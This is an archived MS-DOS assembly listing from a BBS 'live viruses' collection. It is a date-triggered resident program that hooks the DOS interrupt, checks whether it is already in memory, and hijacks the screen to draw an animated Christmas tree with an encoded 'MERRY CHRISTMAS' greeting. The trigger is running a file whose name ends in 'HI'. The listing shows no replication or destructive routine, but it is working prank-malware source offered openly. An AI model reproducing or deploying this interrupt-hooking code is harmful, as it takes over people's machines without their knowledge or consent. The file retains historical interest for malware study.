home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / xmastree.asm < prev    next >
Assembly Source File  |  1992-03-24  |  9KB  |  286 lines

  1. code_seg      segment
  2.           assume    cs:code_seg,ds:code_seg
  3.               org       100h
  4.  
  5. start:        push      cs
  6.               push      cs
  7.               push      cs
  8.               pop       ds
  9.               pop       es
  10.               mov       ax,0fffeh
  11.               cli
  12.               pop       ss
  13.               mov       sp,ax
  14.               sti
  15.               jmp       load
  16.  
  17.  
  18.               old_21    dd        ?
  19.               x         dw        0
  20.               y         dw        0
  21.               x1        dw        0
  22.               x2        dw        0
  23.               y1        dw        0
  24.               y2        dw        0
  25.               clr       db        0
  26.               count     dw        0
  27.               star_h    db        34,37,33,38,32,39,32,39,32,39
  28.                         db        32,39,32,39,32,39,33,38,34,37
  29.               star_t    db        0
  30.               tree_h    db        00,00,00,00,34,37,34,37,33,38
  31.                         db        33,38,32,39,32,39,31,40,31,40
  32.                         db        31,40,30,41,30,41,29,42,29,42
  33.                         db        28,43,28,43,27,44,27,44,26,45
  34.                         db        26,45,26,45,25,46,25,46,24,47
  35.                         db        24,47,23,48,23,48,22,49,22,49
  36.                         db        21,50,21,50,21,50,20,51,20,51
  37.                         db        19,52,19,52,18,53,18,53,17,54
  38.                         db        17,54,16,55,16,55,16,55,15,56
  39.                         db        15,56,14,57,14,57,13,58,13,58
  40.                         db        12,59,12,59,11,60,11,60,11,60
  41.                         db        10,61,10,61,09,62,09,62,08,63
  42.                         db        08,63,07,64,07,64,06,65,06,65
  43.                         db        06,65,05,66,05,66,04,67,04,67
  44.                         db        03,68,03,68,02,69,02,69,01,70
  45.                         db        01,70
  46.               tree_t    db        0
  47.           merry     db        33,33,'NFSSZ',0
  48.               xmas      db        'DISJTUNBT',0
  49.  
  50.  
  51. new_21:       assume    cs:code_seg,ds:nothing,es:nothing
  52.               cmp       ax,4B00h
  53.               je        exec
  54.               cmp       ah,69h
  55.               je        im_here
  56.  
  57. do_jmp:       jmp       dword ptr cs:[old_21]
  58.  
  59. im_here:      cmp       bx,666
  60.               jne       do_jmp
  61.               mov       ax,1993
  62.               iret
  63. exec:         push      ax
  64.               push      di
  65.               mov       di,dx
  66.  
  67. zero_loop:    inc       di
  68.               cmp       byte ptr ds:[di],0
  69.               jne       zero_loop
  70.               sub       di,6
  71.               cmp       byte ptr ds:[di],'H'
  72.               jne       do_21_jmp
  73.               cmp       byte ptr ds:[di+1],'I'
  74.               jne       do_21_jmp
  75.               pop       di
  76.               pop       ax
  77.               push      ax
  78.               push      bx
  79.               push      cx
  80.               push      dx
  81.               push      di
  82.               push      si
  83.               push      ds
  84.               push      es
  85.               call      graphics
  86.               pop       es
  87.               pop       ds
  88.               pop       si
  89.               pop       di
  90.               pop       dx
  91.               pop       cx
  92.               pop       bx
  93.               pop       ax
  94.               jmp       dword ptr cs:[old_21]
  95.  
  96. do_21_jmp:    pop       di
  97.               pop       ax
  98.               jmp       dword ptr cs:[old_21]
  99.  
  100. dot:          push      bx
  101.               mov       bx,y
  102.               mov       ax,320
  103.               mul       bx
  104.               mov       bx,ax
  105.               add       bx,x
  106.               mov       ah,clr
  107.               mov       byte ptr es:[bx],ah
  108.               pop       bx
  109.               ret
  110.  
  111. yline:        mov       ax,y1
  112.               mov       y,ax
  113. yline_loop:   call      dot
  114.               inc       y
  115.               mov       ax,y2
  116.               cmp       y,ax
  117.               jle       yline_loop
  118.               ret
  119.  
  120. xline:        cmp       x1,0
  121.               je        return
  122.               mov       ax,x1
  123.               mov       x,ax
  124.               mov       dx,y
  125.               push      dx
  126.               add       y,15
  127. xline_loop:   call      dot
  128.               inc       x
  129.               mov       ax,x2
  130.               cmp       x,ax
  131.               jle       xline_loop
  132.               pop       dx
  133.               mov       y,dx
  134. return:       ret
  135.  
  136. drawtree:     mov       bx,offset tree_h
  137.               mov       y,15
  138.               mov       dl,clr
  139.               push      dx
  140. treeloop:     xor       ax,ax
  141.               xor       cx,cx
  142.               inc       y
  143.               mov       al,byte ptr cs:[bx]
  144.               mov       cl,byte ptr cs:[bx+1]
  145.               add       bx,2
  146.               mov       x1,ax
  147.               mov       x2,cx
  148.               call      xline
  149.               cmp       y,60
  150.               jg        highline
  151.               inc       clr
  152.               cmp       clr,122
  153.               jne       nofixclr
  154.               mov       clr,117
  155.               jmp       nofixclr
  156. highline:     dec       clr
  157.               cmp       clr,116
  158.               jne       nofixclr
  159.               mov       clr,122
  160. nofixclr:     cmp       bx,offset tree_t
  161.               jne       treeloop
  162.               pop       dx
  163.               mov       clr,dl
  164.               ret
  165.  
  166. drawtrnk:     mov       dl,clr
  167.               push      dx
  168.               add       dx,18
  169.               mov       clr,dl
  170.               mov       y,77+15
  171.               mov       x1,30
  172.               mov       x2,40
  173. trnkloop:     call      xline
  174.               inc       clr
  175.               cmp       clr,239
  176.               jne       nofxtrkc
  177.               mov       clr,234
  178. nofxtrkc:     inc       y
  179.               cmp       y,85+15
  180.               jne       trnkloop
  181.               pop       dx
  182.               mov       clr,dl
  183.               ret
  184.  
  185. drawstar:     xor       dx,dx
  186.               mov       dl,clr
  187.               push      dx
  188.               sub       dx,53
  189.               mov       clr,dl
  190.               mov       y,7
  191.               mov       bx,offset star_h
  192. starloop:     xor       ax,ax
  193.               xor       cx,cx
  194.               mov       al,byte ptr cs:[bx]
  195.               mov       cl,byte ptr cs:[bx+1]
  196.               add       bx,2
  197.               mov       x1,ax
  198.               mov       x2,cx
  199.               inc       y
  200.               call      xline
  201.               inc       clr
  202.               cmp       clr,70
  203.               jne       nostarfx
  204.               mov       clr,64
  205. nostarfx:     cmp       bx,offset star_t
  206.               jne       starloop
  207.               pop       dx
  208.               mov       clr,dl
  209.               ret
  210.  
  211. printstr:     mov       al,cs:[si]
  212.               dec       al
  213.               mov       ah,14
  214.               int       10h
  215.               inc       si
  216.               cmp       byte ptr cs:[si],0
  217.               jne       printstr
  218.               ret
  219.  
  220. graphics:     mov       ax,0013H
  221.               int       10h
  222.               mov       ax,0A000H
  223.               mov       es,ax
  224.               mov       bx,100
  225.               mov       si,offset merry
  226.               call      printstr
  227.               mov       dx,1000h
  228.               mov       bh,0
  229.               mov       ah,2
  230.               int       10h
  231.               mov       si,offset xmas
  232.               call      printstr
  233.               mov       count,0
  234.  
  235. clr_117:      mov       clr,117
  236. go_call:      call      drawstar
  237.               call      drawtree
  238.               call      drawtrnk
  239.               in        al,60h
  240.               cmp       al,39h
  241.               je        done
  242.               inc       clr
  243.               inc       count
  244.               cmp       count,40
  245.               je        done
  246.               cmp       clr,122
  247.               je        clr_117
  248.               jmp       go_call
  249.  
  250. done:         mov       ax,0003H
  251.               int       10h
  252.               ret
  253.  
  254. loadto        db     90h
  255.  
  256. load:         mov    ah,69h
  257.               mov    bx,666
  258.               int    21h
  259.               cmp    ax,1993
  260.           je     leave_ing
  261.  
  262.               mov    ah,2Ah
  263.               int    21h
  264.               cmp    dh,12
  265.           jne    leave_ing
  266.               cmp    dl,21
  267.           jl     leave_ing
  268.               cmp    dl,25
  269.           jg     leave_ing
  270.  
  271.               mov    ax,3521h
  272.               int    21h
  273.               mov    di,offset old_21
  274.               mov    [di],bx
  275.               mov    [di+2],es
  276.               mov    dx,offset new_21
  277.               push   cs
  278.               pop    ds
  279.               mov    ax,2521h
  280.               int    21h
  281.               mov    dx,offset loadto
  282.               int    27h
  283. leave_ing:    int    20h
  284. code_seg      ends
  285.               end    start
  286.